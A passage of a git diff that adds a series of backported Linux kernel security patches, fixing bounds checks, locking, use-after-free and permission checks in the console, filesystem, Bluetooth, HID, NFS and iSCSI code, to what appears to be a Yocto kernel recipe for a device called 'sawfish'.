2681513..7d979e5 100644 +--- a/lib/fonts/font_sun8x16.c ++++ b/lib/fonts/font_sun8x16.c +@@ -2,7 +2,8 @@ + + #define FONTDATAMAX 4096 + +-static const unsigned char fontdata_sun8x16[FONTDATAMAX] = { ++static struct font_data fontdata_sun8x16 = { ++{ 0, 0, FONTDATAMAX, 0 }, { + /* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + /* */ 0x00,0x00,0x7e,0x81,0xa5,0x81,0x81,0xbd,0x99,0x81,0x81,0x7e,0x00,0x00,0x00,0x00, + /* */ 0x00,0x00,0x7e,0xff,0xdb,0xff,0xff,0xc3,0xe7,0xff,0xff,0x7e,0x00,0x00,0x00,0x00, +@@ -259,14 +260,14 @@ + /* */ 0x00,0x70,0xd8,0x30,0x60,0xc8,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + /* */ 0x00,0x00,0x00,0x00,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x00,0x00,0x00,0x00,0x00, + /* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +-}; ++} }; + + const struct font_desc font_sun_8x16 = { + .idx = SUN8x16_IDX, + .name = "SUN8x16", + .width = 8, + .height = 16, +- .data = fontdata_sun8x16, ++ .data = fontdata_sun8x16.data, + #ifdef __sparc__ + .pref = 10, + #else diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0697.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0697.diff new file mode 100644 index 0000000..2257910 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0697.diff @@ -0,0 +1,44 @@ +diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c +index 44daf8e..1fe1cc5 100644 +--- a/drivers/video/console/fbcon.c ++++ b/drivers/video/console/fbcon.c +@@ -2233,6 +2233,9 @@ + + if (font->width <= 8) { + j = vc->vc_font.height; ++ if (font->charcount * j > FNTSIZE(fontdata)) ++ return -EINVAL; ++ + for (i = 0; i < font->charcount; i++) { + memcpy(data, fontdata, j); + memset(data + j, 0, 32 - j); +@@ -2241,6 +2244,9 @@ + } + } else if (font->width <= 16) { + j = vc->vc_font.height * 2; ++ if (font->charcount * j > FNTSIZE(fontdata)) ++ return -EINVAL; ++ + for (i = 0; i < font->charcount; i++) { + memcpy(data, fontdata, j); + memset(data + j, 0, 64 - j); +@@ -2248,6 +2254,9 @@ + fontdata += j; + } + } else if (font->width <= 24) { ++ if (font->charcount * (vc->vc_font.height * sizeof(u32)) > FNTSIZE(fontdata)) ++ return -EINVAL; ++ + for (i = 0; i < font->charcount; i++) { + for (j = 0; j < vc->vc_font.height; j++) { + *data++ = fontdata[0]; +@@ -2260,6 +2269,9 @@ + } + } else { + j = vc->vc_font.height * 4; ++ if (font->charcount * j > FNTSIZE(fontdata)) ++ return -EINVAL; ++ + for (i = 0; i < font->charcount; i++) { + memcpy(data, fontdata, j); + memset(data + j, 0, 128 - j); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0698.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0698.diff new file mode 100644 index 0000000..fdcb8a4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0698.diff @@ -0,0 +1,42 @@ +diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c +index b0ed315..433eb6a 100644 +--- a/drivers/tty/vt/vt.c ++++ b/drivers/tty/vt/vt.c +@@ -4195,27 +4195,6 @@ + return rc; + } + +-static int con_font_copy(struct vc_data *vc, struct console_font_op *op) +-{ +- int con = op->height; +- int rc; +- +- +- console_lock(); +- if (vc->vc_mode != KD_TEXT) +- rc = -EINVAL; +- else if (!vc->vc_sw->con_font_copy) +- rc = -ENOSYS; +- else if (con < 0 || !vc_cons_allocated(con)) +- rc = -ENOTTY; +- else if (con == vc->vc_num) /* nothing to do */ +- rc = 0; +- else +- rc = vc->vc_sw->con_font_copy(vc, con); +- console_unlock(); +- return rc; +-} +- + int con_font_op(struct vc_data *vc, struct console_font_op *op) + { + switch (op->op) { +@@ -4226,7 +4205,8 @@ + case KD_FONT_OP_SET_DEFAULT: + return con_font_default(vc, op); + case KD_FONT_OP_COPY: +- return con_font_copy(vc, op); ++ /* was buggy and never really used */ ++ return -EINVAL; + } + return -ENOSYS; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0699.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0699.diff new file mode 100644 index 0000000..691bca1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0699.diff @@ -0,0 +1,16 @@ +diff --git a/fs/romfs/storage.c b/fs/romfs/storage.c +index f86f51f..1dcadd2 100644 +--- a/fs/romfs/storage.c ++++ b/fs/romfs/storage.c +@@ -221,10 +221,8 @@ + size_t limit; + + limit = romfs_maxsize(sb); +- if (pos >= limit) ++ if (pos >= limit || buflen > limit - pos) + return -EIO; +- if (buflen > limit - pos) +- buflen = limit - pos; + + #ifdef CONFIG_ROMFS_ON_MTD + if (sb->s_mtd) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0700.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0700.diff new file mode 100644 index 0000000..cbae528 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0700.diff @@ -0,0 +1,17 @@ +diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c +index c4fc2db..fac9c40 100644 +--- a/drivers/tty/tty_io.c ++++ b/drivers/tty/tty_io.c +@@ -2545,10 +2545,10 @@ + if (session_of_pgrp(pgrp) != task_session(current)) + goto out_unlock; + retval = 0; +- spin_lock_irqsave(&tty->ctrl_lock, flags); ++ spin_lock_irqsave(&real_tty->ctrl_lock, flags); + put_pid(real_tty->pgrp); + real_tty->pgrp = get_pid(pgrp); +- spin_unlock_irqrestore(&tty->ctrl_lock, flags); ++ spin_unlock_irqrestore(&real_tty->ctrl_lock, flags); + out_unlock: + rcu_read_unlock(); + return retval; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0701.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0701.diff new file mode 100644 index 0000000..7503b89 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0701.diff @@ -0,0 +1,34 @@ +diff --git a/kernel/fork.c b/kernel/fork.c +index ed3710b..e2c54b3 100644 +--- a/kernel/fork.c ++++ b/kernel/fork.c +@@ -1508,14 +1508,9 @@ + /* ok, now we should be set up.. */ + p->pid = pid_nr(pid); + if (clone_flags & CLONE_THREAD) { +- p->exit_signal = -1; + p->group_leader = current->group_leader; + p->tgid = current->tgid; + } else { +- if (clone_flags & CLONE_PARENT) +- p->exit_signal = current->group_leader->exit_signal; +- else +- p->exit_signal = (clone_flags & CSIGNAL); + p->group_leader = p; + p->tgid = p->pid; + } +@@ -1540,9 +1535,14 @@ + if (clone_flags & (CLONE_PARENT|CLONE_THREAD)) { + p->real_parent = current->real_parent; + p->parent_exec_id = current->parent_exec_id; ++ if (clone_flags & CLONE_THREAD) ++ p->exit_signal = -1; ++ else ++ p->exit_signal = current->group_leader->exit_signal; + } else { + p->real_parent = current; + p->parent_exec_id = current->self_exec_id; ++ p->exit_signal = (clone_flags & CSIGNAL); + } + + spin_lock(¤t->sighand->siglock); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0702.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0702.diff new file mode 100644 index 0000000..f24807c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0702.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/net/wireless/mwifiex/join.c b/drivers/net/wireless/mwifiex/join.c +index 8d6c259..12a0cc9 100644 +--- a/drivers/net/wireless/mwifiex/join.c ++++ b/drivers/net/wireless/mwifiex/join.c +@@ -813,6 +813,8 @@ + + memset(adhoc_start->ssid, 0, IEEE80211_MAX_SSID_LEN); + ++ if (req_ssid->ssid_len > IEEE80211_MAX_SSID_LEN) ++ req_ssid->ssid_len = IEEE80211_MAX_SSID_LEN; + memcpy(adhoc_start->ssid, req_ssid->ssid, req_ssid->ssid_len); + + dev_dbg(adapter->dev, "info: ADHOC_S_CMD: SSID = %s\n", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0703.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0703.diff new file mode 100644 index 0000000..4a83ae2 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0703.diff @@ -0,0 +1,31 @@ +diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c +index 5fbd0d5..a087e9a 100644 +--- a/drivers/hid/hid-core.c ++++ b/drivers/hid/hid-core.c +@@ -91,7 +91,7 @@ + * Register a new field for this report. + */ + +-static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages, unsigned values) ++static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages) + { + struct hid_field *field; + +@@ -102,7 +102,7 @@ + + field = kzalloc((sizeof(struct hid_field) + + usages * sizeof(struct hid_usage) + +- values * sizeof(unsigned)), GFP_KERNEL); ++ usages * sizeof(unsigned)), GFP_KERNEL); + if (!field) + return NULL; + +@@ -260,7 +260,7 @@ + usages = max_t(unsigned, parser->local.usage_index, + parser->global.report_count); + +- field = hid_register_field(report, usages, parser->global.report_count); ++ field = hid_register_field(report, usages); + if (!field) + return 0; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0704.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0704.diff new file mode 100644 index 0000000..baa68de --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0704.diff @@ -0,0 +1,20 @@ +diff --git a/fs/nfsd/nfs3xdr.c b/fs/nfsd/nfs3xdr.c +index 4fb5f85..b2efad9 100644 +--- a/fs/nfsd/nfs3xdr.c ++++ b/fs/nfsd/nfs3xdr.c +@@ -821,9 +821,14 @@ + if (isdotent(name, namlen)) { + if (namlen == 2) { + dchild = dget_parent(dparent); +- /* filesystem root - cannot return filehandle for ".." */ ++ /* ++ * Don't return filehandle for ".." if we're at ++ * the filesystem or export root: ++ */ + if (dchild == dparent) + goto out; ++ if (dparent == exp->ex_path.dentry) ++ goto out; + } else + dchild = dget(dparent); + } else diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0705.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0705.diff new file mode 100644 index 0000000..5af8209 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0705.diff @@ -0,0 +1,16 @@ +diff --git a/fs/ext4/super.c b/fs/ext4/super.c +index e7c5087..4372f5e 100644 +--- a/fs/ext4/super.c ++++ b/fs/ext4/super.c +@@ -5242,7 +5242,10 @@ + ext4_register_li_request(sb, first_not_zeroed); + } + +- ext4_setup_system_zone(sb); ++ err = ext4_setup_system_zone(sb); ++ if (err) ++ goto restore_opts; ++ + if (sbi->s_journal == NULL && !(old_sb_flags & MS_RDONLY)) + ext4_commit_super(sb, 1); + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0706.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0706.diff new file mode 100644 index 0000000..f97eb2c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0706.diff @@ -0,0 +1,30 @@ +diff --git a/drivers/firewire/nosy.c b/drivers/firewire/nosy.c +index 76b2d39..40ed4d8 100644 +--- a/drivers/firewire/nosy.c ++++ b/drivers/firewire/nosy.c +@@ -358,6 +358,7 @@ + struct client *client = file->private_data; + spinlock_t *client_list_lock = &client->lynx->client_list_lock; + struct nosy_stats stats; ++ int ret; + + switch (cmd) { + case NOSY_IOC_GET_STATS: +@@ -372,11 +373,15 @@ + return 0; + + case NOSY_IOC_START: ++ ret = -EBUSY; + spin_lock_irq(client_list_lock); +- list_add_tail(&client->link, &client->lynx->client_list); ++ if (list_empty(&client->link)) { ++ list_add_tail(&client->link, &client->lynx->client_list); ++ ret = 0; ++ } + spin_unlock_irq(client_list_lock); + +- return 0; ++ return ret; + + case NOSY_IOC_STOP: + spin_lock_irq(client_list_lock); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0707-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0707-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch new file mode 100644 index 0000000..3c36d2a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0707-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch @@ -0,0 +1,54 @@ +From 6a137caec23aeb9e036cdfd8a46dd8a366460e5d Mon Sep 17 00:00:00 2001 +From: Lin Ma +Date: Tue, 25 May 2021 14:39:02 +0200 +Subject: Bluetooth: fix the erroneous flush_work() order + +In the cleanup routine for failed initialization of HCI device, +the flush_work(&hdev->rx_work) need to be finished before the +flush_work(&hdev->cmd_work). Otherwise, the hci_rx_work() can +possibly invoke new cmd_work and cause a bug, like double free, +in late processings. + +This was assigned CVE-2021-3564. + +This patch reorder the flush_work() to fix this bug. + +Cc: Marcel Holtmann +Cc: Johan Hedberg +Cc: Luiz Augusto von Dentz +Cc: "David S. Miller" +Cc: Jakub Kicinski +Cc: linux-bluetooth@vger.kernel.org +Cc: netdev@vger.kernel.org +Cc: linux-kernel@vger.kernel.org +Signed-off-by: Lin Ma +Signed-off-by: Hao Xiong +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Marcel Holtmann +--- + net/bluetooth/hci_core.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/bluetooth/hci_core.c b/net/bluetooth/hci_core.c +index fd12f1652bdf4..7d71d104fdfda 100644 +--- a/net/bluetooth/hci_core.c ++++ b/net/bluetooth/hci_core.c +@@ -1610,8 +1610,13 @@ setup_failed: + } else { + /* Init failed, cleanup */ + flush_work(&hdev->tx_work); +- flush_work(&hdev->cmd_work); ++ ++ /* Since hci_rx_work() is possible to awake new cmd_work ++ * it should be flushed first to avoid unexpected call of ++ * hci_cmd_work() ++ */ + flush_work(&hdev->rx_work); ++ flush_work(&hdev->cmd_work); + + skb_queue_purge(&hdev->cmd_q); + skb_queue_purge(&hdev->rx_q); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0708-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0708-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch new file mode 100644 index 0000000..6aab7a5 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0708-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch @@ -0,0 +1,43 @@ +From e305509e678b3a4af2b3cfd410f409f7cdaabb52 Mon Sep 17 00:00:00 2001 +From: Lin Ma +Date: Sun, 30 May 2021 21:37:43 +0800 +Subject: Bluetooth: use correct lock to prevent UAF of hdev object + +The hci_sock_dev_event() function will cleanup the hdev object for +sockets even if this object may still be in used within the +hci_sock_bound_ioctl() function, result in UAF vulnerability. + +This patch replace the BH context lock to serialize these affairs +and prevent the race condition. + +Signed-off-by: Lin Ma +Signed-off-by: Marcel Holtmann +--- + net/bluetooth/hci_sock.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c +index 251b9128f530a..eed0dd066e12c 100644 +--- a/net/bluetooth/hci_sock.c ++++ b/net/bluetooth/hci_sock.c +@@ -762,7 +762,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event) + /* Detach sockets from device */ + read_lock(&hci_sk_list.lock); + sk_for_each(sk, &hci_sk_list.head) { +- bh_lock_sock_nested(sk); ++ lock_sock(sk); + if (hci_pi(sk)->hdev == hdev) { + hci_pi(sk)->hdev = NULL; + sk->sk_err = EPIPE; +@@ -771,7 +771,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event) + + hci_dev_put(hdev); + } +- bh_unlock_sock(sk); ++ release_sock(sk); + } + read_unlock(&hci_sk_list.lock); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0709.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0709.diff new file mode 100644 index 0000000..637940d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0709.diff @@ -0,0 +1,43 @@ +diff --git a/drivers/block/xen-blkback/blkback.c b/drivers/block/xen-blkback/blkback.c +index 4f807f3..710b1e9 100644 +--- a/drivers/block/xen-blkback/blkback.c ++++ b/drivers/block/xen-blkback/blkback.c +@@ -736,8 +736,11 @@ + pages[i]->page = persistent_gnt->page; + pages[i]->persistent_gnt = persistent_gnt; + } else { +- if (get_free_page(blkif, &pages[i]->page)) +- goto out_of_memory; ++ if (get_free_page(blkif, &pages[i]->page)) { ++ put_free_pages(blkif, pages_to_gnt, segs_to_map); ++ ret = -ENOMEM; ++ goto out; ++ } + addr = vaddr(pages[i]->page); + pages_to_gnt[segs_to_map] = pages[i]->page; + pages[i]->persistent_gnt = NULL; +@@ -821,15 +824,18 @@ + } + segs_to_map = 0; + last_map = map_until; +- if (map_until != num) ++ if (!ret && map_until != num) + goto again; + +- return ret; ++out: ++ for (i = last_map; i < num; i++) { ++ /* Don't zap current batch's valid persistent grants. */ ++ if(i >= last_map + segs_to_map) ++ pages[i]->persistent_gnt = NULL; ++ pages[i]->handle = BLKBACK_INVALID_HANDLE; ++ } + +-out_of_memory: +- pr_alert(DRV_PFX "%s: out of memory\n", __func__); +- put_free_pages(blkif, pages_to_gnt, segs_to_map); +- return -ENOMEM; ++ return ret; + } + + static int xen_blkbk_map_seg(struct pending_req *pending_req) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0710.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0710.diff new file mode 100644 index 0000000..02c7d33 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0710.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/scsi/scsi_transport_iscsi.c b/drivers/scsi/scsi_transport_iscsi.c +index 63688af..f911354 100644 +--- a/drivers/scsi/scsi_transport_iscsi.c ++++ b/drivers/scsi/scsi_transport_iscsi.c +@@ -119,6 +119,9 @@ + char *buf) + { + struct iscsi_internal *priv = dev_to_iscsi_internal(dev); ++ ++ if (!capable(CAP_SYS_ADMIN)) ++ return -EACCES; + return sprintf(buf, "%llu\n", (unsigned long long)iscsi_handle(priv->iscsi_transport)); + } + static DEVICE_ATTR(handle, S_IRUGO, show_transport_handle, NULL); +@@ -3522,6 +3525,9 @@ + struct iscsi_cls_conn *conn; + struct iscsi_endpoint *ep = NULL; + ++ if (!netlink_capable(skb, CAP_SYS_ADMIN)) ++ return -EPERM; ++ + if (nlh->nlmsg_type == ISCSI_UEVENT_PATH_UPDATE) + *group = ISCSI_NL_GRP_UIP; + else diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0711.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0711.diff new file mode 100644 index 0000000..3fc5b77 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0711.diff @@ -0,0 +1,414 @@ +diff --git a/drivers/scsi/libiscsi.c b/drivers/scsi/libiscsi.c +index 2b63a74..4fccf7c 100644 +--- a/drivers/scsi/libiscsi.c ++++ b/drivers/scsi/libiscsi.c +@@ -3388,125 +3388,125 @@ + + switch(param) { + case ISCSI_PARAM_FAST_ABORT: +- len = sprintf(buf, "%d\n", session->fast_abort); ++ len = sysfs_emit(buf, "%d\n", session->fast_abort); + break; + case ISCSI_PARAM_ABORT_TMO: +- len = sprintf(buf, "%d\n", session->abort_timeout); ++ len = sysfs_emit(buf, "%d\n", session->abort_timeout); + break; + case ISCSI_PARAM_LU_RESET_TMO: +- len = sprintf(buf, "%d\n", session->lu_reset_timeout); ++ len = sysfs_emit(buf, "%d\n", session->lu_reset_timeout); + break; + case ISCSI_PARAM_TGT_RESET_TMO: +- len = sprintf(buf, "%d\n", session->tgt_reset_timeout); ++ len = sysfs_emit(buf, "%d\n", session->tgt_reset_timeout); + break; + case ISCSI_PARAM_INITIAL_R2T_EN: +- len = sprintf(buf, "%d\n", session->initial_r2t_en); ++ len = sysfs_emit(buf, "%d\n", session->initial_r2t_en); + break; + case ISCSI_PARAM_MAX_R2T: +- len = sprintf(buf, "%hu\n", session->max_r2t); ++ len = sysfs_emit(buf, "%hu\n", session->max_r2t); + break; + case ISCSI_PARAM_IMM_DATA_EN: +- len = sprintf(buf, "%d\n", session->imm_data_en); ++ len = sysfs_emit(buf, "%d\n", session->imm_data_en); + break; + case ISCSI_PARAM_FIRST_BURST: +- len = sprintf(buf, "%u\n", session->first_burst); ++ len = sysfs_emit(buf, "%u\n", session->first_burst); + break; + case ISCSI_PARAM_MAX_BURST: +- len = sprintf(buf, "%u\n", session->max_burst); ++ len = sysfs_emit(buf, "%u\n", session->max_burst); + break; + case ISCSI_PARAM_PDU_INORDER_EN: +- len = sprintf(buf, "%d\n", session->pdu_inorder_en); ++ len = sysfs_emit(buf, "%d\n", session->pdu_inorder_en); + break; + case ISCSI_PARAM_DATASEQ_INORDER_EN: +- len = sprintf(buf, "%d\n", session->dataseq_inorder_en); ++ len = sysfs_emit(buf, "%d\n", session->dataseq_inorder_en); + break; + case ISCSI_PARAM_DEF_TASKMGMT_TMO: +- len = sprintf(buf, "%d\n", session->def_taskmgmt_tmo); ++ len = sysfs_emit(buf, "%d\n", session->def_taskmgmt_tmo); + break; + case ISCSI_PARAM_ERL: +- len = sprintf(buf, "%d\n", session->erl); ++ len = sysfs_emit(buf, "%d\n", session->erl); + break; + case ISCSI_PARAM_TARGET_NAME: +- len = sprintf(buf, "%s\n", session->targetname); ++ len = sysfs_emit(buf, "%s\n", session->targetname); + break; + case ISCSI_PARAM_TARGET_ALIAS: +- len = sprintf(buf, "%s\n", session->targetalias); ++ len = sysfs_emit(buf, "%s\n", session->targetalias); + break; + case ISCSI_PARAM_TPGT: +- len = sprintf(buf, "%d\n", session->tpgt); ++ len = sysfs_emit(buf, "%d\n", session->tpgt); + break; + case ISCSI_PARAM_USERNAME: +- len = sprintf(buf, "%s\n", session->username); ++ len = sysfs_emit(buf, "%s\n", session->username); + break; + case ISCSI_PARAM_USERNAME_IN: +- len = sprintf(buf, "%s\n", session->username_in); ++ len = sysfs_emit(buf, "%s\n", session->username_in); + break; + case ISCSI_PARAM_PASSWORD: +- len = sprintf(buf, "%s\n", session->password); ++ len = sysfs_emit(buf, "%s\n", session->password); + break; + case ISCSI_PARAM_PASSWORD_IN: +- len = sprintf(buf, "%s\n", session->password_in); ++ len = sysfs_emit(buf, "%s\n", session->password_in); + break; + case ISCSI_PARAM_IFACE_NAME: +- len = sprintf(buf, "%s\n", session->ifacename); ++ len = sysfs_emit(buf, "%s\n", session->ifacename); + break; + case ISCSI_PARAM_INITIATOR_NAME: +- len = sprintf(buf, "%s\n", session->initiatorname); ++ len = sysfs_emit(buf, "%s\n", session->initiatorname); + break; + case ISCSI_PARAM_BOOT_ROOT: +- len = sprintf(buf, "%s\n", session->boot_root); ++ len = sysfs_emit(buf, "%s\n", session->boot_root); + break; + case ISCSI_PARAM_BOOT_NIC: +- len = sprintf(buf, "%s\n", session->boot_nic); ++ len = sysfs_emit(buf, "%s\n", session->boot_nic); + break; + case ISCSI_PARAM_BOOT_TARGET: +- len = sprintf(buf, "%s\n", session->boot_target); ++ len = sysfs_emit(buf, "%s\n", session->boot_target); + break; + case ISCSI_PARAM_AUTO_SND_TGT_DISABLE: +- len = sprintf(buf, "%u\n", session->auto_snd_tgt_disable); ++ len = sysfs_emit(buf, "%u\n", session->auto_snd_tgt_disable); + break; + case ISCSI_PARAM_DISCOVERY_SESS: +- len = sprintf(buf, "%u\n", session->discovery_sess); ++ len = sysfs_emit(buf, "%u\n", session->discovery_sess); + break; + case ISCSI_PARAM_PORTAL_TYPE: +- len = sprintf(buf, "%s\n", session->portal_type); ++ len = sysfs_emit(buf, "%s\n", session->portal_type); + break; + case ISCSI_PARAM_CHAP_AUTH_EN: +- len = sprintf(buf, "%u\n", session->chap_auth_en); ++ len = sysfs_emit(buf, "%u\n", session->chap_auth_en); + break; + case ISCSI_PARAM_DISCOVERY_LOGOUT_EN: +- len = sprintf(buf, "%u\n", session->discovery_logout_en); ++ len = sysfs_emit(buf, "%u\n", session->discovery_logout_en); + break; + case ISCSI_PARAM_BIDI_CHAP_EN: +- len = sprintf(buf, "%u\n", session->bidi_chap_en); ++ len = sysfs_emit(buf, "%u\n", session->bidi_chap_en); + break; + case ISCSI_PARAM_DISCOVERY_AUTH_OPTIONAL: +- len = sprintf(buf, "%u\n", session->discovery_auth_optional); ++ len = sysfs_emit(buf, "%u\n", session->discovery_auth_optional); + break; + case ISCSI_PARAM_DEF_TIME2WAIT: +- len = sprintf(buf, "%d\n", session->time2wait); ++ len = sysfs_emit(buf, "%d\n", session->time2wait); + break; + case ISCSI_PARAM_DEF_TIME2RETAIN: +- len = sprintf(buf, "%d\n", session->time2retain); ++ len = sysfs_emit(buf, "%d\n", session->time2retain); + break; + case ISCSI_PARAM_TSID: +- len = sprintf(buf, "%u\n", session->tsid); ++ len = sysfs_emit(buf, "%u\n", session->tsid); + break; + case ISCSI_PARAM_ISID: +- len = sprintf(buf, "%02x%02x%02x%02x%02x%02x\n", ++ len = sysfs_emit(buf, "%02x%02x%02x%02x%02x%02x\n", + session->isid[0], session->isid[1], + session->isid[2], session->isid[3], + session->isid[4], session->isid[5]); + break; + case ISCSI_PARAM_DISCOVERY_PARENT_IDX: +- len = sprintf(buf, "%u\n", session->discovery_parent_idx); ++ len = sysfs_emit(buf, "%u\n", session->discovery_parent_idx); + break; + case ISCSI_PARAM_DISCOVERY_PARENT_TYPE: + if (session->discovery_parent_type) +- len = sprintf(buf, "%s\n", ++ len = sysfs_emit(buf, "%s\n", + session->discovery_parent_type); + else +- len = sprintf(buf, "\n"); ++ len = sysfs_emit(buf, "\n"); + break; + default: + return -ENOSYS; +@@ -3538,16 +3538,16 @@ + case ISCSI_PARAM_CONN_ADDRESS: + case ISCSI_HOST_PARAM_IPADDRESS: + if (sin) +- len = sprintf(buf, "%pI4\n", &sin->sin_addr.s_addr); ++ len = sysfs_emit(buf, "%pI4\n", &sin->sin_addr.s_addr); + else +- len = sprintf(buf, "%pI6\n", &sin6->sin6_addr); ++ len = sysfs_emit(buf, "%pI6\n", &sin6->sin6_addr); + break; + case ISCSI_PARAM_CONN_PORT: + case ISCSI_PARAM_LOCAL_PORT: + if (sin) +- len = sprintf(buf, "%hu\n", be16_to_cpu(sin->sin_port)); ++ len = sysfs_emit(buf, "%hu\n", be16_to_cpu(sin->sin_port)); + else +- len = sprintf(buf, "%hu\n", ++ len = sysfs_emit(buf, "%hu\n", + be16_to_cpu(sin6->sin6_port)); + break; + default: +@@ -3566,88 +3566,88 @@ + + switch(param) { + case ISCSI_PARAM_PING_TMO: +- len = sprintf(buf, "%u\n", conn->ping_timeout); ++ len = sysfs_emit(buf, "%u\n", conn->ping_timeout); + break; + case ISCSI_PARAM_RECV_TMO: +- len = sprintf(buf, "%u\n", conn->recv_timeout); ++ len = sysfs_emit(buf, "%u\n", conn->recv_timeout); + break; + case ISCSI_PARAM_MAX_RECV_DLENGTH: +- len = sprintf(buf, "%u\n", conn->max_recv_dlength); ++ len = sysfs_emit(buf, "%u\n", conn->max_recv_dlength); + break; + case ISCSI_PARAM_MAX_XMIT_DLENGTH: +- len = sprintf(buf, "%u\n", conn->max_xmit_dlength); ++ len = sysfs_emit(buf, "%u\n", conn->max_xmit_dlength); + break; + case ISCSI_PARAM_HDRDGST_EN: +- len = sprintf(buf, "%d\n", conn->hdrdgst_en); ++ len = sysfs_emit(buf, "%d\n", conn->hdrdgst_en); + break; + case ISCSI_PARAM_DATADGST_EN: +- len = sprintf(buf, "%d\n", conn->datadgst_en); ++ len = sysfs_emit(buf, "%d\n", conn->datadgst_en); + break; + case ISCSI_PARAM_IFMARKER_EN: +- len = sprintf(buf, "%d\n", conn->ifmarker_en); ++ len = sysfs_emit(buf, "%d\n", conn->ifmarker_en); + break; + case ISCSI_PARAM_OFMARKER_EN: +- len = sprintf(buf, "%d\n", conn->ofmarker_en); ++ len = sysfs_emit(buf, "%d\n", conn->ofmarker_en); + break; + case ISCSI_PARAM_EXP_STATSN: +- len = sprintf(buf, "%u\n", conn->exp_statsn); ++ len = sysfs_emit(buf, "%u\n", conn->exp_statsn); + break; + case ISCSI_PARAM_PERSISTENT_PORT: +- len = sprintf(buf, "%d\n", conn->persistent_port); ++ len = sysfs_emit(buf, "%d\n", conn->persistent_port); + break; + case ISCSI_PARAM_PERSISTENT_ADDRESS: +- len = sprintf(buf, "%s\n", conn->persistent_address); ++ len = sysfs_emit(buf, "%s\n", conn->persistent_address); + break; + case ISCSI_PARAM_STATSN: +- len = sprintf(buf, "%u\n", conn->statsn); ++ len = sysfs_emit(buf, "%u\n", conn->statsn); + break; + case ISCSI_PARAM_MAX_SEGMENT_SIZE: +- len = sprintf(buf, "%u\n", conn->max_segment_size); ++ len = sysfs_emit(buf, "%u\n", conn->max_segment_size); + break; + case ISCSI_PARAM_KEEPALIVE_TMO: +- len = sprintf(buf, "%u\n", conn->keepalive_tmo); ++ len = sysfs_emit(buf, "%u\n", conn->keepalive_tmo); + break; + case ISCSI_PARAM_LOCAL_PORT: +- len = sprintf(buf, "%u\n", conn->local_port); ++ len = sysfs_emit(buf, "%u\n", conn->local_port); + break; + 